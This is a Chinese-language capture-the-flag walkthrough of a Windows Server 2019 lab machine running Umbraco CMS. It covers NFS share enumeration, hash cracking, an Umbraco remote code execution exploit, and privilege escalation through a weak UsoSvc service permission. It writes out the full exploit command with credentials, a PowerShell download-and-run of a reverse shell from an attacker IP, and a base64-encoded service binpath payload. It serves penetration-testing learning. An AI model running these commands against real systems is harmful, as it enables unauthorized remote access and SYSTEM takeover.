简介

这是一个简单的Windows Server 2019靶机，要成功获得SYSTEM权限需要不懈的尝试。通过浏览Web站点发现Umbraco CMS登录入口，然后在2049端口发现NFS服务并发现共享文件夹，在共享文件夹中发现了Umbraco CMS的版本信息、用户名和密码，然后可以登录CMS系统，利用已知的远程代码执行漏洞反弹Shell，通过枚举运行的服务发现不安全的服务权限，最后通过修改服务调用的程序获得SYSTEM权限。

信息收集：

1.端口扫描

首先使用nmap进行端口扫描。发现开启了135，5985、139、80端口。

利用nmap进行深度扫描，发现FTP，SMB，HTTP和NFS服务正在运行。

查看web页面。

2.发现CMS类型

发现都存在umbraco这个词。在页面底端也发现了这个词。

3.搜索引擎

通过搜索引擎搜索，发现其为一个cms。

4.目录扫描

通过目录扫描，发现存在/umbraco这个目录。

之前使用nmap深度扫描，发现其存在NFS服务。

5.NFS共享文件夹搭建到本地环境

然后使用showmount查看目标主机NFS共享的文件夹，发现存在可访问的/site_backups文件夹，然后将其挂载到本地。

查看site_backups文件夹中的信息，

6.查找敏感信息

在APP_Data目录下发现了sdf数据库文件信息，然后利用strings枚举该文件。

发现存在经过SHA1和HMACSHA256算法生成的hash值。然后使用hashcat进行解密。

使用find命令，搜索到了用户的邮箱。

使用邮箱账户和解密出来的密码进行登录。发现其是7.12.4版本。

漏洞利用：

1、然后就使用searchsplit搜索可用的EXP。

2、然后对其进行修改。添加邮箱和密码。

使用nishang进行反弹shell，在文件最底下加上Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.3 -Port 4444.

3、然后执行命令。

python3 exploit.py -u [email protected] -p baconandcheese
-i http://10.10.10.180 -c powershell.exe -a "iex(new-object
net.webclient).downloadstring('http://10.10.16.3/Invoke-PowerShellTcp.ps1')"

4、在nishang文件下，开启http服务。

5、使用nc监听4444端口，成功反弹shell。

然后进入Users目录下。

6、发现存在public目录，使用dir查看存在user.txt。成功找到第一个flag。

权限提升：

1.使用systeminfo查看主机信息。

2.查看用户权限

使用whoami/priv 查看当前用户权限。

3.使用sc命令枚举存在缺陷的服务，发现UsoSvc服务可以被当前用户控制。

4. 生成POC，

使用echo"IEX( IWR http://10.10.16.3/Invoke-PowerShellTcp.ps1-UseBasicParsing)" | iconv -t utf-16le|base64 -w 0，来生成poc。

5.监听端口反弹shell

使用sc.exe config
UsoSvc binpath= "cmd.exe /c powershell.exe -EncodedCommand
SQBFAFgAKAAgAEkAVwBSACAAaAB0AHQAcAA6AC8ALwAxADAALgAxADAALgAxADYALgAzAC8ASQBuAHYAbwBrAGUALQBQAG8AdwBlAHIAUwBoAGUAbABsAFQAYwBwAC4AcABzADEAIAAtAFUAcwBlAEIAYQBzAGkAYwBQAGEAcgBzAGkAbgBnACkACgA="。来弹shell。

继续使用nc监听4444端口。成功反弹shell。

6.寻找flag，结束靶机。

到了最后就是找flag的环节，先进入user目录下，找到了Administrator目录。接着进入Desktop，查看root.txt。成功找到最后一个靶标。

总结：

接着就做一个总结：首先利用nmap进行扫描端口，然后对其进行深度扫描。发现其开启了NFS服务，然后就共享文件夹挂载到本地。在访问主页，发现是国外的cms。然后使用gobuster爆破后台地址。使用共享文件夹中的邮箱用户和hashcat枚举出的密码，进行登录。接着发现cms版本信息。使用searchsploit搜索exp，发现存在一个可用的exp。修改exp，然后利用它得到一个低权限的shell。接下来发现sc命令存在缺陷，利用sc成功进行提权。靶机的大致过程就是这些了。还有一些别的提权思路，有机会在尝试一下别的思路。